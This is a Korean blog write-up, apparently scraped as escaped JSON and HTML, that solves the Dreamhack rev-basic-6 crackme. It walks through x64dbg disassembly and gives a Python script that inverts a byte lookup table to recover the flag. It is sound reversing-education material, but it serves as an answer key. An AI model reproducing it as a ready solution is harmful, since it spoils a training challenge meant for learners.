| 00007FF782681024 | 48:630424 | movsxd rax,dword ptr ss:[rsp] | 00007FF782681028 | 48:8B4C24 20 | mov rcx,qword ptr ss:[rsp+20] | 00007FF78268102D | 0FB60401 | movzx eax,byte ptr ds:[rcx+rax] | rcx+rax*1:\u0026#34;AAAA\u0026#34; 00007FF782681031 | 48:8D0D E81F0000 | lea rcx,qword ptr ds:[7FF782683020] | rcx:\u0026#34;AAAAA\u0026#34; 00007FF782681038 | 0FB60401 | movzx eax,byte ptr ds:[rcx+rax] | rcx+rax*1:\u0026#34;AAAA\u0026#34; 00007FF78268103C | 48:630C24 | movsxd rcx,dword ptr ss:[rsp] | 00007FF782681040 | 48:8D15 B91F0000 | lea rdx,qword ptr ds:[7FF782683000] | 00007FF782681047 | 0FB60C0A | movzx ecx,byte ptr ds:[rdx+rcx] | 00007FF78268104B | 3BC1 | cmp eax,ecx | 00007FF78268104D | 74 04 | je chall6.7FF782681053 | 00007FF78268104F | 33C0 | xor eax,eax | 00007FF782681051 | EB 07 | jmp chall6.7FF78268105A | 00007FF782681053 | EB BD | jmp chall6.7FF782681012 | 00007FF782681055 | B8 01000000 | mov eax,1 | 00007FF78268105A | 48:83C4 18 | add rsp,18 | 00007FF78268105E | C3 | ret | 중요한 부분은 00007FF782681031 부터 00007FF78268104B를 보면 될것 같다.\n입력받은 문자열을 순서대로 비교하는 로직이다. 위 주소를 살펴보면 7FF782683020 + 입력받은 문자열의 hex값 을 계산해 7FF782683000와 비교한다. 이를 역산하면 7FF782683000에 있는 hex값이 7FF782683020로부터 얼마만큼 떨어져 있는지 확인하면 쉽게 답을 찾을 수 있다. 이런 로직을 보고 파이썬 코드를 작성했다.\na = [0x00, 0x4D, 0x51, 0x50, 0xEF, 0xFB, 0xC3, 0xCF, 0x92, 0x45, 0x4D, 0xCF, 0xF5, 0x04, 0x40, 0x50, 0x43, 0x63] b =[0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x1, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76 ,0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0 ,0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15 ,0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75 ,0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84 ,0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF ,0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8 ,0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2 ,0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73 ,0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB ,0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79 ,0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x8 ,0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A ,0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E ,0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF ,0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ,0x42, 0xCD, 0xB7, 0x32, 0x13, 0x59, 0xFF, 0xFF, 0xBD, 0x32, 0x48, 0xCD, 0xEC, 0xA6] for i in a: b_count = 0x00 for j in b: if(i == j): break else: b_count=b_count+1 print(chr(b_count), end=\u0026#39;\u0026#39;) 위 코드에서 변수 a 는 7FF782683000에 있는 hex값이고, 변수 b 는 7FF782683020에 있는 hex값을 의미하며 반복문을 통해 순서대로 돌면서 떨어진 거리를 계산한다.\n위 코드를 돌리면 플레그 값을 확인할 수 있다.\n","permalink":"https://dig06161.github.io/2022/04/13/dreamhack-rev-basic-6/","summary":"\u003cp\u003e이번에는 드림핵 리버싱 베이직 6번 문제를 풀어보자.\u003c/p\u003e\n\u003cp\u003e이전에 올렸던 rev-basic-5 문제와 동일하게 바이너리를 실행 시키면\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003einput : \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e이라는 문자열과 함께 문자열을 입력 받고 정답이면 Correct, 아니면 Wrong을 출력한다.\u003c/p\u003e\n\u003cp\u003e우선 동일하게 x64 디버거를 이용해 어셈블리를 분석해보자.\u003c/p\u003e\n\u003cp\u003e해당 프로그램 main의 어셈블리는 다음과 같다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c++\" data-lang=\"c++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681120\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e40\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e57\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003epush\u003c/span\u003e \u003cspan class=\"n\"\u003erdi\u003c/span\u003e                                \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;ALLUSERSPROFILE=C:\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eProgramData\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681122\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e81\u003c/span\u003e\u003cspan class=\"n\"\u003eEC\u003c/span\u003e \u003cspan class=\"mi\"\u003e30010000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003esub\u003c/span\u003e \u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e130\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681129\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eB05\u003c/span\u003e \u003cspan class=\"n\"\u003eF81F0000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003erax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782683128\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681130\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eC4\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003erax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681133\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e898424\u003c/span\u003e \u003cspan class=\"mi\"\u003e20010000\u003c/span\u003e       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"n\"\u003erax\u003c/span\u003e          \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268113\u003c/span\u003e\u003cspan class=\"n\"\u003eB\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD4424\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003erax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e           \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681140\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eBF8\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003erax\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;ALLUSERSPROFILE=C:\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eProgramData\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681143\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eC0\u003c/span\u003e                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003eeax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eeax\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681145\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eB9\u003c/span\u003e \u003cspan class=\"mo\"\u003e00010000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003eecx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268114\u003c/span\u003e\u003cspan class=\"n\"\u003eA\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003eF3\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eAA\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003erep\u003c/span\u003e \u003cspan class=\"n\"\u003estosb\u003c/span\u003e                               \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268114\u003c/span\u003e\u003cspan class=\"n\"\u003eC\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"n\"\u003eBD100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782682210\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782682210\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Input : \u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681153\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"mi\"\u003e58000000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall6\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF7826811B0\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681158\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD5424\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003erdx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e           \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268115\u003c/span\u003e\u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"n\"\u003eB8100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268221\u003c/span\u003e\u003cspan class=\"n\"\u003eC\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268221\u003c/span\u003e\u003cspan class=\"nl\"\u003eC\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%256s\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681164\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"n\"\u003eA7000000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall6\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF782681210\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681169\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD4C24\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e           \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268116\u003c/span\u003e\u003cspan class=\"n\"\u003eE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eDFEFFFF\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall6\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF782681000\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681173\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e85\u003c/span\u003e\u003cspan class=\"n\"\u003eC0\u003c/span\u003e                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003etest\u003c/span\u003e \u003cspan class=\"n\"\u003eeax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eeax\u003c/span\u003e                            \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681175\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e74\u003c/span\u003e \u003cspan class=\"mf\"\u003e0F\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eje\u003c/span\u003e \u003cspan class=\"n\"\u003echall6\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF782681186\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681177\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"n\"\u003eAA100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782682228\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782682228\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Correct\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268117\u003c/span\u003e\u003cspan class=\"n\"\u003eE\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eFF15\u003c/span\u003e \u003cspan class=\"mo\"\u003e04100000\u003c/span\u003e            \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eputs\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681184\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eEB\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"n\"\u003eD\u003c/span\u003e                    \u003cspan 